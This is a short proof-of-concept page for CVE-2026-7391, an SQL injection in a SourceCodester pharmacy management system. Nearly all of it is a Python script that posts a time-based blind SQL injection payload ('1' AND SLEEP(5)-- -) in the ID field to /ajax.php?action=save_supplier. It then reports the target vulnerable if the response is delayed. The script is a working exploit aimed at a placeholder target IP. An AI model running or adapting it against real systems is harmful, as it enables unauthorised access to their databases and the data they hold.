CVE-2026-7391 SourceCodester药店系统SQL注入漏洞

# PoC for CVE-2026-7391 SQL Injection # Target: /ajax.php?action=save_supplier import requests def check_sqli(url): target = f"{url}/ajax.php" # Payload for time-based blind SQL injection payload = { "action": "save_supplier", "ID": "1' AND SLEEP(5)-- -" } try: print(f"[+] Sending payload to {target}") response = requests.post(target, data=payload, timeout=10) # Check if response time indicates SQL execution delay if response.elapsed.total_seconds() >= 5: print("[!] Vulnerable to SQL Injection!") else: print("[-] Not vulnerable or timeout adjusted.") except requests.RequestException as e: print(f"[Error] {e}") if __name__ == "__main__": target_url = "http://target-ip" # Replace with actual target check_sqli(target_url)